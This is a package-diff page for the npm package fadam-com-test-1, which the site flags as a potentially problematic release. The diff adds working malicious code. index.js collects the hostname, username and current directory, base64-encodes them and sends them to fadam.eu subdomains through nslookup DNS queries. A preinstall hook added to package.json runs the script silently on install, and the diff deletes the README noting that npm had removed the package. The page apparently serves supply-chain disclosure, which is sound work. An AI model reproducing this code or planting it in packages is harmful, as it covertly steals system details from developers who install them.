fadam-com-test-1 0.0.1-security → 1.999.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of fadam-com-test-1 might be problematic. Click here for more details.
- package/index.js +42 -0
- package/package.json +13 -4
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
const exfiltrateToDNS = () => {
|
4
|
+
exec("hostname", (error, hostname, stderr) => {
|
5
|
+
if (error) {
|
6
|
+
console.error(`Error: ${error.message}`);
|
7
|
+
return;
|
8
|
+
}
|
9
|
+
exfiltrateValueToDNS("hostname-value", hostname.trim());
|
10
|
+
});
|
11
|
+
|
12
|
+
exec("whoami", (error, username, stderr) => {
|
13
|
+
if (error) {
|
14
|
+
console.error(`Error: ${error.message}`);
|
15
|
+
return;
|
16
|
+
}
|
17
|
+
exfiltrateValueToDNS("user-value", username.trim());
|
18
|
+
});
|
19
|
+
|
20
|
+
exec("pwd", (error, currentDir, stderr) => {
|
21
|
+
if (error) {
|
22
|
+
console.error(`Error: ${error.message}`);
|
23
|
+
return;
|
24
|
+
}
|
25
|
+
exfiltrateValueToDNS("pwd-value", currentDir.trim());
|
26
|
+
});
|
27
|
+
};
|
28
|
+
|
29
|
+
const exfiltrateValueToDNS = (label, value) => {
|
30
|
+
const base64Value = Buffer.from(value).toString("base64");
|
31
|
+
const cmd = `echo -n "${label}-${base64Value}.fadam.eu" | xargs -I {} nslookup {}`;
|
32
|
+
|
33
|
+
exec(cmd, (error, stdout, stderr) => {
|
34
|
+
if (error) {
|
35
|
+
console.error(`Error: ${error.message}`);
|
36
|
+
return;
|
37
|
+
}
|
38
|
+
console.log(`Command output:\n${stdout}`);
|
39
|
+
});
|
40
|
+
};
|
41
|
+
|
42
|
+
exfiltrateToDNS();
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "fadam-com-test-1",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.999.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "fadam",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
}
|
15
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=fadam-com-test-1 for more information.
|